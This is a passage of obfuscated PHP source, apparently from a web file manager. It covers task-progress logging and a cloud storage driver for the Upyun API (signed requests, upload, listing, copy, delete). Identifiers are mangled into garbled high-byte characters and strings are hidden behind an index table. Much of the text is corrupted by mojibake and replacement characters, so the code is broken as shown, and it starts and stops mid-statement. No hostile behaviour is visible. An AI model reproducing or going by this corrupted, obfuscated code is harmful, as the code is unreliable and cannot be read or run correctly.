$this->task[$§âǵ¯ª[475]]); $this->end(); } public function progress($•”ÔŽ×æ, $½É“¶éâ, $Þì¿ìå¥, $±ÂÒú¢½, $å¯ã¼Ðü) { $²¸ŽÝ¹ü =& $_SERVER[ˆ¡¹µ‹Â]; $¶ßª©ª<C2A9> =& $this->task; if ($å¯ã¼Ðü > 0) { $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]] = $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]] == 0 ? $±ÂÒú¢½ : $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]]; $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1764]] = $å¯ã¼Ðü; } else { if ($Þì¿ìå¥ > 0) { $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]] = $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]] == 0 ? $½É“¶éâ : $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1134]]; $¶ßª©ª<C2A9>[$²¸ŽÝ¹ü[1764]] = $Þì¿ìå¥; } } $this->update(); self::log("\x70\x72\x6f\x67\162\x65\x73\x73\x48\164\164\160\x3a\144\157\167\x6e\72{$Þì¿ìå¥}\x2f{$½É“¶éâ}\73\x20\165\160\154\157\x61\x64\72{$å¯ã¼Ðü}\57{$±ÂÒú¢½}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ÍÅ<C38D>Љ, $Öã<C396>ê·Ð = '', $©Ìõ<C38C>žÜ = 0, $Ԛǯ‚  = '') { $Âò—¢¬¹ =& $_SERVER[ˆ¡¹µ‹Â]; $Ԛǯ‚  = $Ԛǯ‚  ? $Ԛǯ‚  : ($Öã<C396>ê·Ð ? $Öã<C396>ê·Ð : $ÍÅ<C38D>Љ); $耰<E282AC>‰É = new Task($ÍÅ<C38D>Љ, $Öã<C396>ê·Ð, $©Ìõ<C38C>žÜ, $Ԛǯ‚ ); $GLOBALS[$Âò—¢¬¹[1846] . $ÍÅ<C38D>Љ] = new TaskLog($Âò—¢¬¹[1747], $耰<E282AC>‰É, $Ԛǯ‚ ); return $耰<E282AC>‰É; } public function __construct($Í£Øòâá = '', $„Ê›öÏý = '', $®½ûˆˆ± = '') { $<24>Åé¬ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$Í£Øòâá) { $Í£Øòâá = $<24>Åé¬[1747]; } $ €´µªß = $Í£Øòâá . $<24>Åé¬[462] . rand_string(10); if (!$®½ûˆˆ±) { $®½ûˆˆ± = $Í£Øòâá . $<24>Åé¬[53] . $®½ûˆˆ±; } switch ($Í£Øòâá) { case $<24>Åé¬[1747]: if (!$„Ê›öÏý || !$„Ê›öÏý->task) { return echoLog($Í£Øòâá . $<24>Åé¬[1847]); } $ðçßã¿ø = $„Ê›öÏý; $ €´µªß = $ðçßã¿ø->task[$<24>Åé¬[475]]; $Í£Øòâá = $ðçßã¿ø->task[$<24>Åé¬[475]]; if (!$ðçßã¿ø->task[$<24>Åé¬[1652]]) { $ðçßã¿ø->task[$<24>Åé¬[1652]] = $®½ûˆˆ± ? $®½ûˆˆ± : $Í£Øòâá; } break; case $<24>Åé¬[1848]: if (!$„Ê›öÏý) { return echoLog($Í£Øòâá . $<24>Åé¬[1849]); } $ç¦þ ðó = is_string($„Ê›öÏý) ? array($„Ê›öÏý) : $„Ê›öÏý; $ðçßã¿ø = new TaskFileTransfer($ €´µªß, $Í£Øòâá, 0, $®½ûˆˆ± ? $®½ûˆˆ± : $ç¦þ ðó[0]); foreach ($ç¦þ ðó as $øßÙ¾¶þ) { $ðçßã¿ø->addPath($øßÙ¾¶þ); } break; case $<24>Åé¬[389]: if (!$„Ê›öÏý) { return echoLog($Í£Øòâá . $<24>Åé¬[1849]); } $ç¦þ ðó = is_string($„Ê›öÏý) ? array($„Ê›öÏý) : $„Ê›öÏý; $ðçßã¿ø = new TaskZip($ €´µªß, $Í£Øòâá, 0, $®½ûˆˆ± ? $®½ûˆˆ± : $ç¦þ ðó[0]); foreach ($ç¦þ ðó as $øßÙ¾¶þ) { $ðçßã¿ø->addPath($øßÙ¾¶þ); } break; case $<24>Åé¬[1292]: if (!$„Ê›öÏý) { return echoLog($Í£Øòâá . $<24>Åé¬[1849]); } $ðçßã¿ø = new TaskUnZip($ €´µªß, $Í£Øòâá, 0, $®½ûˆˆ± ? $®½ûˆˆ± : $„Ê›öÏý); if ($„Ê›öÏý) { $ðçßã¿ø->addFile($„Ê›öÏý); } break; case $<24>Åé¬[152]: $ðçßã¿ø = new TaskHttp($ €´µªß, $Í£Øòâá); break; default: return; break; } $this->task = $ðçßã¿ø; $this->taskID = $ €´µªß; Hook::bind($<24>Åé¬[1784], array($this, $<24>Åé¬[1850])); Hook::bind($<24>Åé¬[1786], array($this, $<24>Åé¬[1851])); Hook::bind($<24>Åé¬[1780], array($this, $<24>Åé¬[1852])); echoLog($<24>Åé¬[1853] . $ðçßã¿ø->task[$<24>Åé¬[1652]]); } public function __destruct() { $this->end(); } public function end($͘¾±ßß = '') { $Ξ ÁäÇ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($͘¾±ßß); $this->task = !1; $this->taskID = !1; Hook::unbind($Ξ ÁäÇ[1784], array($this, $Ξ ÁäÇ[1850])); Hook::unbind($Ξ ÁäÇ[1786], array($this, $Ξ ÁäÇ[1851])); Hook::unbind($Ξ ÁäÇ[1780], array($this, $Ξ ÁäÇ[1852])); } public function taskUpdate($ßŦÕÑÑ) { $ä<>ŒãÖí =& $_SERVER[ˆ¡¹µ‹Â]; if (!$ßŦÕÑÑ || $this->taskID != $ßŦÕÑÑ[$ä<>ŒãÖí[475]]) { return; } $‡†õ„î™ = 20; $ôੲíÄ = intval($ßŦÕÑÑ[$ä<>ŒãÖí[1765]] * $‡†õ„î™); $¦· ã³û = $ä<>ŒãÖí[176] . str_repeat($ä<>ŒãÖí[506], $ôੲíÄ) . $ä<>ŒãÖí[1085] . str_repeat($ä<>ŒãÖí[53], $‡†õ„î™ - $ôੲíÄ) . $ä<>ŒãÖí[178]; $çžýæØ„ = $¦· ã³û . sprintf($ä<>ŒãÖí[1854], $ßŦÕÑÑ[$ä<>ŒãÖí[1765]] * 100) . $ä<>ŒãÖí[1855]; $’ç”ö‚› = $çžýæØ„ . $ßŦÕÑÑ[$ä<>ŒãÖí[1764]] . $ä<>ŒãÖí[8] . $ßŦÕÑÑ[$ä<>ŒãÖí[1134]] . LNG($ä<>ŒãÖí[1856]); $ë…ÙÙöÏ = $ä<>ŒãÖí[12]; if ($ßŦÕÑÑ[$ä<>ŒãÖí[1840]]) { $’ç”ö‚› = $çžýæØ„ . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1764]]) . $ä<>ŒãÖí[8] . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1134]]); $ë…ÙÙöÏ = size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1766]]) . $ä<>ŒãÖí[1857]; } if ($ßŦÕÑÑ[$ä<>ŒãÖí[1136]]) { $ßŦÕÑÑ[$ä<>ŒãÖí[1814]] = $ßŦÕÑÑ[$ä<>ŒãÖí[1136]] . $ä<>ŒãÖí[53] . $ßŦÕÑÑ[$ä<>ŒãÖí[1814]]; } if ($ßŦÕÑÑ[$ä<>ŒãÖí[1814]]) { $³ÇåÑß· = $ä<>ŒãÖí[12]; if ($ßŦÕÑÑ[$ä<>ŒãÖí[1816]]) { $³ÇåÑß· = $ä<>ŒãÖí[50] . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1817]]) . $ä<>ŒãÖí[8] . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1816]]); } $ë…ÙÙöÏ .= $ßŦÕÑÑ[$ä<>ŒãÖí[1814]] . $³ÇåÑß·; } if ($ßŦÕÑÑ[$ä<>ŒãÖí[830]] && !$ßŦÕÑÑ[$ä<>ŒãÖí[1816]]) { $ë…ÙÙöÏ .= $ä<>ŒãÖí[53] . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[1821]]) . $ä<>ŒãÖí[8] . size_format($ßŦÕÑÑ[$ä<>ŒãÖí[830]]); } echoLog($’ç”ö‚› . $ä<>ŒãÖí[53] . $ë…ÙÙöÏ, !0); } public function taskEnd($‹ýèê¾é) { $¤©ÒèÈç =& $_SERVER[ˆ¡¹µ‹Â]; if (!$‹ýèê¾é || $this->taskID != $‹ýèê¾é[$¤©ÒèÈç[475]]) { return; } $®ç<C2AE>îýØ = $‹ýèê¾é ? $‹ýèê¾é[$¤©ÒèÈç[1764]] . $¤©ÒèÈç[8] . $‹ýèê¾é[$¤©ÒèÈç[1134]] . LNG($¤©ÒèÈç[1856]) . $¤©ÒèÈç[74] : $¤©ÒèÈç[12]; echoLog($¤©ÒèÈç[1858] . $‹ýèê¾é[$¤©ÒèÈç[1652]] . ($‹ýèê¾é[$¤©ÒèÈç[526]] ? $¤©ÒèÈç[74] . $‹ýèê¾é[$¤©ÒèÈç[526]] : $¤©ÒèÈç[12]) . $¤©ÒèÈç[74] . $®ç<C2AE>îýØ . $¤©ÒèÈç[1859] . sprintf($¤©ÒèÈç[925], timeFloat() - $‹ýèê¾é[$¤©ÒèÈç[1767]]) . $¤©ÒèÈç[1779]); $this->end(); } public function taskKill($áé<C3A1>ɵð) { $˜Â<CB9C>Ã¢Û =& $_SERVER[ˆ¡¹µ‹Â]; if (!$áé<C3A1>ɵð || $this->taskID != $áé<C3A1>ɵð[$˜Â<CB9C>âÛ[475]]) { return; } echoLog($˜Â<CB9C>âÛ[1860] . $áé<C3A1>ɵð[$˜Â<CB9C>âÛ[1652]]); } } goto b”ëÇ<C3AB>ÞÙ†; Dž±õžŒÈ¸: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\x74\x70\x3a\x2f\x2f\x76\x30\x2e\x61\160\x69\x2e\x75\x70\x79\165\156\56\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($––„ÑͶ) { parent::__construct(); $this->_init($––„ÑͶ); } public function _init($õµâÒÆ¡) { $¯âªí×Ð =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($õµâÒÆ¡ as $’Áëíë => $ÌñÍú‡ü) { if (isset($this->{$’Áëíë})) { $this->{$’Áëíë} = $ÌñÍú‡ü; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($¯âªí×Ð[1536] . LNG($¯âªí×Ð[1455])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($éÜÆÇ’¶, $ëæÚÚóÖ = "\x47\105\124") { $¥«å<C2AB>ùâ =& $_SERVER[ˆ¡¹µ‹Â]; $Üé²Î·œ = gmdate($¥«å<C2AB>ùâ[1484]); $ݵýûÞ§ = base64_encode(hash_hmac($¥«å<C2AB>ùâ[1537], "{$ëæÚÚóÖ}\x26{$éÜÆÇ’¶}\46{$Üé²Î·œ}", md5("{$this->userpass}"), !0)); $¦ð›ÂêÜ = array("\101\165\x74\x68\x6f\x72\151\x7a\x61\164\151\x6f\156\72\x55\x50\x59\125\116\40{$this->username}\72{$ݵýûÞ§}", "\x44\x61\164\145\72{$Üé²Î·œ}"); return $¦ð›ÂêÜ; } public function ussRequest($öÔèÑäá, $˜ŸèåÒ› = "\x47\x45\x54", $ˆåãÛŠð = false, $ÂóÎý¢Ø = false, $¾Þâžýä = false) { $¸À§˜ñÈ =& $_SERVER[ˆ¡¹µ‹Â]; $öÔèÑäá = trim($öÔèÑäá, $¸À§˜ñÈ[8]); $ÏÀ¡Äôô = "\x2f{$this->bucket}\x2f{$öÔèÑäá}"; $<24>Ååý = $this->ussHeaders($ÏÀ¡Äôô, $˜ŸèåÒ›); if ($ÂóÎý¢Ø) { $<24>Ååý = array_merge($<24>Ååý, $ÂóÎý¢Ø); } $Ÿ“刦á = url_request($this->endpoint . $ÏÀ¡Äôô, $˜ŸèåÒ›, $ˆåãÛŠð, $<24>Ååý, $¾Þâžýä); if (!$Ÿ“刦á) { $©Ø’ž‰£ = LNG($¸À§˜ñÈ[1538]); $this->writeLog($©Ø’ž‰£); return array($¸À§˜ñÈ[1290] => !1, $¸À§˜ñÈ[1280] => $©Ø’ž‰£); } if (strtolower($˜ŸèåÒ›) == $¸À§˜ñÈ[227] || in_array($Ÿ“刦á[$¸À§˜ñÈ[1290]], array($¸À§˜ñÈ[274], $¸À§˜ñÈ[1539]))) { $ˆåãÛŠð = $Ÿ“刦á[$¸À§˜ñÈ[1540]]; } else { $ˆåãÛŠð = json_decode($Ÿ“刦á[$¸À§˜ñÈ[1280]], !0); if (!$ˆåãÛŠð) { $ˆåãÛŠð = $Ÿ“刦á[$¸À§˜ñÈ[1280]]; } else { if (!$Ÿ“刦á[$¸À§˜ñÈ[817]] && isset($ˆåãÛŠð[$¸À§˜ñÈ[1541]])) { $ˆåãÛŠð = $ˆåãÛŠð[$¸À§˜ñÈ[1541]]; } } } if (!$Ÿ“刦á[$¸À§˜ñÈ[817]]) { $this->writeLog($this->__errorMessage($ˆåãÛŠð)); } return array($¸À§˜ñÈ[1290] => $Ÿ“刦á[$¸À§˜ñÈ[817]], $¸À§˜ñÈ[1280] => $ˆåãÛŠð); } private function __errorMessage($£õÆè´„) { $´á©ò”‰ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$£õÆè´„) { return $´á©ò”‰[12]; } static $ž’²¬‚Ô = null; if (!$ž’²¬‚Ô) { $ž’²¬‚Ô = I18n::getType(); } if ($ž’²¬‚Ô != $´á©ò”‰[1494]) { return $£õÆè´„; } $õ¤ø¢äÙ = array($´á©ò”‰[1542] => $´á©ò”‰[1543], $´á©ò”‰[1544] => $´á©ò”‰[1545], $´á©ò”‰[1546] => $´á©ò”‰[1545], $´á©ò”‰[1547] => $´á©ò”‰[1548], $´á©ò”‰[1549] => $´á©ò”‰[1550], $´á©ò”‰[1551] => $´á©ò”‰[1552], $´á©ò”‰[1553] => $´á©ò”‰[1554]); return isset($õ¤ø¢äÙ[$£õÆè´„]) ? $õ¤ø¢äÙ[$£õÆè´„] : $£õÆè´„; } public function mkfile($ˆ«ÉúÊþ, $²‘泉£ = '', $£Ú…<C39A>ï¢ = REPEAT_RENAME) { if ($this->setContent($ˆ«ÉúÊþ, $²‘泉£)) { return $this->getPathOuter($ˆ«ÉúÊþ); } return !1; } public function mkdir($Õšö÷¶Ã, $Â˃…à„ = REPEAT_SKIP) { $…ôÙÇ”ì =& $_SERVER[ˆ¡¹µ‹Â]; $Íá–ÕÒ¯ = trim($Õšö÷¶Ã, $…ôÙÇ”ì[8]); if ($this->_isFolder($Íá–ÕÒ¯)) { return $this->getPathOuter($Íá–ÕÒ¯); } $×—¾¨æ… = array($…ôÙÇ”ì[1555]); $ŽÁ¢ùãê = $this->ussRequest($Íá–ÕÒ¯, $…ôÙÇ”ì[257], !1, $×—¾¨æ…); return $ŽÁ¢ùãê[$…ôÙÇ”ì[1290]] ? $this->getPathOuter($Íá–ÕÒ¯) : !1; } public function copyFile($Ü¥ëôÔ¬, $ƒ«<C692>÷•È) { $Ÿ«<C5B8>àïý =& $_SERVER[ˆ¡¹µ‹Â]; $è<>ÒÎ¼Í = array($Ÿ«<C5B8>àïý[1556] . "\x2f{$this->bucket}\57{$Ü¥ëôÔ¬}", $Ÿ«<C5B8>àïý[1557]); $´ ðÖÛ¿ = $this->ussRequest($ƒ«<C692>÷•È, $Ÿ«<C5B8>àïý[259], !1, $è<>ÒμÍ); return $´ ðÖÛ¿[$Ÿ«<C5B8>àïý[1290]] ? !0 : $this->getPathOuter($ƒ«<C692>÷•È); } public function moveFile($Ñ<>ó<EFBFBD> , $˜Æ<CB9C>ÝœÐ) { $ˆÈ‹”°Â =& $_SERVER[ˆ¡¹µ‹Â]; $Ù¢Šì<C5A0>ˆ = array($ˆÈ‹”°Â[1558] . "\x2f{$this->bucket}\x2f{$Ñ<>ó<EFBFBD> }", $ˆÈ‹”°Â[1557]); $µ²¾å‡Î = $this->ussRequest($˜Æ<CB9C>ÝœÐ, $ˆÈ‹”°Â[259], !1, $Ù¢Šì<C5A0>ˆ); return $µ²¾å‡Î[$ˆÈ‹”°Â[1290]] ? !0 : $this->getPathOuter($˜Æ<CB9C>ÝœÐ); } public function delFile($£Â è‰í) { $ÎçéîÒð =& $_SERVER[ˆ¡¹µ‹Â]; $Àäó<C3A4>àÚ = $this->ussRequest($£Â è‰í, $ÎçéîÒð[1559]); return $Àäó<C3A4>àÚ[$ÎçéîÒð[1290]] ? !0 : !1; } public function delFolder($Ñ™Õ߇ž) { $ƒàË ìÊ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->exist($Ñ™Õ߇ž)) { return !0; } $this->listItemCache = !1; $‰Æˆûêî = $Ø®ìÛ¼à = array(); $this->fileList($Ñ™Õ߇ž, $‰Æˆûêî, $Ø®ìÛ¼à, !0); $this->listItemCache = !0; foreach ($Ø®ìÛ¼à as $Œ¬ýßÇš) { $©ßˆµË¹ = $this->ussRequest($Œ¬ýßÇš[$ƒàË ìÊ[32]], $ƒàË ìÊ[1559]); if (!$©ßˆµË¹[$ƒàË ìÊ[1290]]) { return !1; } } foreach ($‰Æˆûêî as $„ÁÉÁãÆ) { $©ßˆµË¹ = $this->ussRequest($„ÁÉÁãÆ, $ƒàË ìÊ[1559]); if (!$©ßˆµË¹[$ƒàË ìÊ[1290]]) { return !1; } } $©ßˆµË¹ = $this->ussRequest($Ñ™Õ߇ž, $ƒàË ìÊ[1559]); return $©ßˆµË¹[$ƒàË ìÊ[1290]]; } public function rename($Œ›˜È¸Ð, $׫ϣî¿) { if ($this->isFile($Œ›˜È¸Ð)) { $×«Ï£î¿ = get_path_father($Œ›˜È¸Ð) . $׫ϣî¿; return $this->moveFile($Œ›˜È¸Ð, $׫ϣî¿); } return $this->renameObject($Œ›˜È¸Ð, $׫ϣî¿); } public function fileInfo($½¶”ã¤í, $¸¦·Æ<C2B7>Ø = false, $ÑãÔˆïŸ = array()) { $°ì<C3AC>¡­ =& $_SERVER[ˆ¡¹µ‹Â]; $Í óôŸÆ = array($°ì<C3AC>¡­[32] => $this->pathThis($½¶”ã¤í), $°ì<C3AC>¡­[87] => $this->getPathOuter($°ì<C3AC>¡­[8] . $½¶”ã¤í), $°ì<C3AC>¡­[33] => $°ì<C3AC>¡­[230], $°ì<C3AC>¡­[79] => isset($ÑãÔˆïŸ[$°ì<C3AC>¡­[79]]) ? $ÑãÔˆïŸ[$°ì<C3AC>¡­[79]] : 0, $°ì<C3AC>¡­[169] => $this->ext($½¶”ã¤í)); if ($¸¦·Æ<C2B7>Ø) { return $Í óôŸÆ; } $Í óôŸÆ[$°ì<C3AC>¡­[231]] = $Í óôŸÆ[$°ì<C3AC>¡­[88]] = 0; $Í óôŸÆ[$°ì<C3AC>¡­[232]] = $Í óôŸÆ[$°ì<C3AC>¡­[233]] = !0; if (empty($ÑãÔˆïŸ)) { $ÑãÔˆïŸ = $this->objectMeta($½¶”ã¤í); if (!$ÑãÔˆïŸ) { return $Í óôŸÆ; } } $Í óôŸÆ[$°ì<C3AC>¡­[231]] = intval($ÑãÔˆïŸ[$°ì<C3AC>¡­[1560]]); $Í óôŸÆ[$°ì<C3AC>¡­[88]] = intval($ÑãÔˆïŸ[$°ì<C3AC>¡­[1561]]); $Í óôŸÆ[$°ì<C3AC>¡­[79]] = $ÑãÔˆïŸ[$°ì<C3AC>¡­[79]]; return $Í óôŸÆ; } public function folderInfo($µÎ<C2B5>§æÝ, $ºÙД˺ = false) { $†§ÖðÉÍ =& $_SERVER[ˆ¡¹µ‹Â]; $ÔýšÝê„ = array($†§ÖðÉÍ[32] => $this->pathThis($µÎ<C2B5>§æÝ), $†§ÖðÉÍ[87] => $this->getPathOuter($†§ÖðÉÍ[8] . $µÎ<C2B5>§æÝ), $†§ÖðÉÍ[33] => $†§ÖðÉÍ[78]); if ($ºÙД˺) { return $ÔýšÝê„; } $ÔýšÝê„[$†§ÖðÉÍ[231]] = $ÔýšÝê„[$†§ÖðÉÍ[88]] = 0; $ÔýšÝê„[$†§ÖðÉÍ[232]] = $ÔýšÝê„[$†§ÖðÉÍ[233]] = !0; if (empty($‚»õï¦Û)) { $‚»õï¦Û = $this->objectMeta($µÎ<C2B5>§æÝ); if (!$‚»õï¦Û) { return $ÔýšÝê„; } } $ÔýšÝê„[$†§ÖðÉÍ[231]] = intval($‚»õï¦Û[$†§ÖðÉÍ[1560]]); $ÔýšÝê„[$†§ÖðÉÍ[88]] = intval($‚»õï¦Û[$†§ÖðÉÍ[1561]]); return $ÔýšÝê„; } private function listObjs($¹Ò†ÔË, $Þ€ªƒ‚õ = 0, $ˆÕ<CB86>„å¨ = 1000) { $ÚÖèç<C3A8>° =& $_SERVER[ˆ¡¹µ‹Â]; $£ùȳÝð = array($ÚÖèç<C3A8>°[1562], $ÚÖèç<C3A8>°[1563] . $ˆÕ<CB86>„å¨); if ($Þ€ªƒ‚õ) { $£ùȳÝð[] = $ÚÖèç<C3A8>°[1564] . $Þ€ªƒ‚õ; } $¿Ò‹½¼Û = $this->ussRequest($¹Ò†ÔË, $ÚÖèç<C3A8>°[261], !1, $£ùȳÝð); return !$¿Ò‹½¼Û[$ÚÖèç<C3A8>°[1290]] ? !1 : $¿Ò‹½¼Û[$ÚÖèç<C3A8>°[1280]]; } private function fileList($õ–×—¨£, &$ó<>È·¿ò, &$Ìø¹¤¹<C2A4>, $ª–ŒÄú× = false) { $ŸÈłܦ =& $_SERVER[ˆ¡¹µ‹Â]; $Ä¡ÂêÆÊ = $ŸÈłܦ[12]; $À¶¢£ž˜ = 1000; $–ªñ©·¹ = rtrim($õ–×—¨£, $ŸÈłܦ[8]) . $ŸÈłܦ[8]; while (!0) { check_abort(); $ß’Ôñü… = $this->listObjs($õ–×—¨£, $Ä¡ÂêÆÊ, $À¶¢£ž˜); if (!$ß’Ôñü…) { return !1; } $Ä¡ÂêÆÊ = isset($ß’Ôñü…[$ŸÈłܦ[1565]]) ? $ß’Ôñü…[$ŸÈłܦ[1565]] : $ŸÈłܦ[12]; $æá<C3A6>Èœ = isset($ß’Ôñü…[$ŸÈłܦ[1566]]) ? $ß’Ôñü…[$ŸÈłܦ[1566]] : array(); foreach ($æá<C3A6>Èœ as $„ÃßçÖ<C3A7>) { $⸵É<C2B5>… = $„ÃßçÖ<C3A7>[$ŸÈłܦ[33]] == $ŸÈłܦ[78] ? !0 : !1; $³Ã»ð„– = ltrim($–ªñ©·¹ . $„ÃßçÖ<C3A7>[$ŸÈłܦ[32]], $ŸÈłܦ[8]) . ($⸵É<C2B5>… ? $ŸÈłܦ[8] : $ŸÈłܦ[12]); $Œå¸«ýÐ = array($ŸÈłܦ[32] => $³Ã»ð„–, $ŸÈłܦ[33] => $⸵É<C2B5>… ? $ŸÈłܦ[78] : $ŸÈłܦ[230], $ŸÈłܦ[79] => $„ÃßçÖ<C3A7>[$ŸÈłܦ[413]], $ŸÈłܦ[1561] => $„ÃßçÖ<C3A7>[$ŸÈłܦ[1567]]); $this->cacheMethodInfoSet($³Ã»ð„–, $⸵É<C2B5>…, $Œå¸«ýÐ); if ($⸵É<C2B5>…) { $ó<>È·¿ò[] = $³Ã»ð„–; if ($ª–ŒÄú×) { $this->fileList($³Ã»ð„–, $ó<>È·¿ò, $Ìø¹¤¹<C2A4>, $ª–ŒÄú×); } continue; } $Ìø¹¤¹<C2A4>[] = $Œå¸«ýÐ; } if (count($æá<C3A6>Èœ) < $À¶¢£ž˜) { break; } } $this->cacheMethodInfoSet($õ–×—¨£, !0); } public function listPath($î—»ëûñ, $Àµ¡çª = false) { $Æ•“§úÐ =& $_SERVER[ˆ¡¹µ‹Â]; $•˜©öõÄ = $†•µñå” = array(); $this->fileList($î—»ëûñ, $•˜©öõÄ, $†•µñå”); foreach ($•˜©öõÄ as $뎎û³¹ => $Éï㪂’) { $•˜©öõÄ[$뎎û³¹] = $this->folderInfo($Éï㪂’, $Àµ¡çª); } foreach ($†•µñå” as $뎎û³¹ => $Éï㪂’) { $†•µñå”[$뎎û³¹] = $this->fileInfo($Éï㪂’[$Æ•“§úÐ[32]], $Àµ¡çª, $Éï㪂’); } return array($Æ•“§úÐ[85] => $•˜©öõÄ, $Æ•“§úÐ[86] => $†•µñå”); } public function has($õì½åÄ¢, $ø¿ü¤Úï = false, $Þä熨Š= true) { $ôþƩã =& $_SERVER[ˆ¡¹µ‹Â]; $þåÓåŸà = $ôþƩã[12]; $ÃÁÙ¦‘ï = 500; $…þûÒ‰ý = 0; $þûòРà = 0; $¦’¨‘¬¥ = rtrim($õì½åÄ¢, $ôþƩã[8]) . $ôþƩã[8]; while (!0) { check_abort(); $¼×ˆü­ë = $this->listObjs($õì½åÄ¢, $þåÓåŸà, $ÃÁÙ¦‘ï); if (!$¼×ˆü­ë) { return !1; } $þåÓåŸà = isset($¼×ˆü­ë[$ôþƩã[1565]]) ? $¼×ˆü­ë[$ôþƩã[1565]] : $ôþƩã[12]; $˪߈ìä = isset($¼×ˆü­ë[$ôþƩã[1566]]) ? $¼×ˆü­ë[$ôþƩã[1566]] : array(); if (empty($˪߈ìä)) { break; } $ÝŸÙ…¯Å = array_filter($˪߈ìä, function ($†ë<E280A0>îä£) { $åµÀ𬕠=& $_SERVER[ˆ¡¹µ‹Â]; return $†ë<E280A0>îä£[$åµÀš¬•[33]] == $åµÀš¬•[78]; }); $œƒ”Ô‰· = count($˪߈ìä); $ÝŸÙ…¯Å = count($ÝŸÙ…¯Å); $ñ÷åÖ’Æ = $œƒ”Ô‰· - $ÝŸÙ…¯Å; if ($ø¿ü¤Úï) { $þûòРà += $ÝŸÙ…¯Å; $…þûÒ‰ý += $ñ÷åÖ’Æ; if ($œƒ”Ô‰· < $ÃÁÙ¦‘ï) { break; } continue; } if ($Þä熨Å) { if ($ñ÷åÖ’Æ) { return !0; } } else { if ($ÝŸÙ…¯Å) { return !0; } } if ($œƒ”Ô‰· < $ÃÁÙ¦‘ï) { break; } } if ($ø¿ü¤Úï) { return array($ôþƩã[239] => $…þûÒ‰ý, $ôþƩã[240] => $þûòРÃ); } return !1; } public function listAll($ìþ<C3AC>ÞØõ) { $šµÔÑö<C391> =& $_SERVER[ˆ¡¹µ‹Â]; $ñ¿´Ú • = $Ÿ¡<C5B8>¬×¡ = array(); $this->fileList($ìþ<C3AC>ÞØõ, $ñ¿´Ú •, $Ÿ¡<C5B8>¬×¡, !0); $½“ï<E2809C><EFBFBD> = array_to_keyvalue($Ÿ¡<C5B8>¬×¡, $šµÔÑö<C391>[32]); foreach ($ñ¿´Ú • as $ø²ö³ÐÜ) { if (is_string($ø²ö³ÐÜ)) { $½“ï<E2809C><EFBFBD>[$ø²ö³ÐÜ] = array($šµÔÑö<C391>[79] => 0); } } return $this->listAllFiles($ìþ<C3AC>ÞØõ, $½“ï<E2809C><EFBFBD>); } public function canRead($€äµ<C3A4>¬) { return $this->exist($€äµ<C3A4>¬) ? !0 : !1; } public function canWrite($¢ÕÄíÔó) { return $this->exist($¢ÕÄíÔó) ? !0 : !1; } public function getContent($±™¶ì¡§) { return $this->fileSubstr($±™¶ì¡§, 0, -1); } public function setContent($ýÕÜÊëÍ, $‰ûÊ×Õ× = '') { $­¢€ÍÖË =& $_SERVER[ˆ¡¹µ‹Â]; if (!$‰ûÊ×Õ×) { $ºËº‹Ëü = $this->ussRequest($ýÕÜÊëÍ, $­¢€ÍÖË[257]); return $ºËº‹Ëü[$­¢€ÍÖË[1290]]; } $ç<>ØæëÏ = $this->tempFile($this->pathThis($ýÕÜÊëÍ)); file_put_contents($ç<>ØæëÏ, $‰ûÊ×Õ×); if ($this->upload($ýÕÜÊëÍ, $ç<>ØæëÏ)) { $this->tempFileRemve($ç<>ØæëÏ); return !0; } return !1; } public function fileSubstr($§ñ³Øñµ, $ÑÐÄ­ôø, $¼Õ±»µš) { $ÞÌšæÀ´ =& $_SERVER[ˆ¡¹µ‹Â]; if (!($ÖÂú×Ãã = $this->link($§ñ³Øñµ))) { return !1; } $—­‹¦Ïå = !1; if ($¼Õ±»µš > 0) { $ÕýˆÇö¯ = $ÑÐÄ­ôø + $¼Õ±»µš - 1; $—­‹¦Ïå = array($ÞÌšæÀ´[1526] . $ÑÐÄ­ôø . $ÞÌšæÀ´[462] . $ÕýˆÇö¯); } $©ç¸˜³ó = url_request($ÖÂú×Ãã, $ÞÌšæÀ´[261], !1, $—­‹¦Ïå); return $©ç¸˜³ó[$ÞÌšæÀ´[817]] ? $©ç¸˜³ó[$ÞÌšæÀ´[1280]] : !1; } public function upload($àþò¤¬ò, $ìâïßÚä, $¦¹¸òòÊ = false, $óô³ÛÚÑ = REPEAT_REPLACE) { $áö˜<C3B6>¹é =& $_SERVER[ˆ¡¹µ‹Â]; $«éßšƒÑ = IO::size($ìâïßÚä); if ($«éßšƒÑ <= 1024 * 1024 * 200) { $Ï–žÙ¥à = array($áö˜<C3B6>¹é[1568] . $ìâïßÚä); $¼Š ¬•é = $this->ussRequest($àþò¤¬ò, $áö˜<C3B6>¹é[259], $Ï–žÙ¥à); return $¼Š ¬•é[$áö˜<C3B6>¹é[1290]] ? $this->getPathOuter($àþò¤¬ò) : !1; } $Üì•̾® = 1024 * 1024 * 10; $â¡à€ë§ = array($áö˜<C3B6>¹é[1569], $áö˜<C3B6>¹é[1570] . $«éßšƒÑ, $áö˜<C3B6>¹é[1571], $áö˜<C3B6>¹é[1572] . $Üì•̾®); $¼Š ¬•é = $this->ussRequest($àþò¤¬ò, $áö˜<C3B6>¹é[259], !1, $â¡à€ë§); if 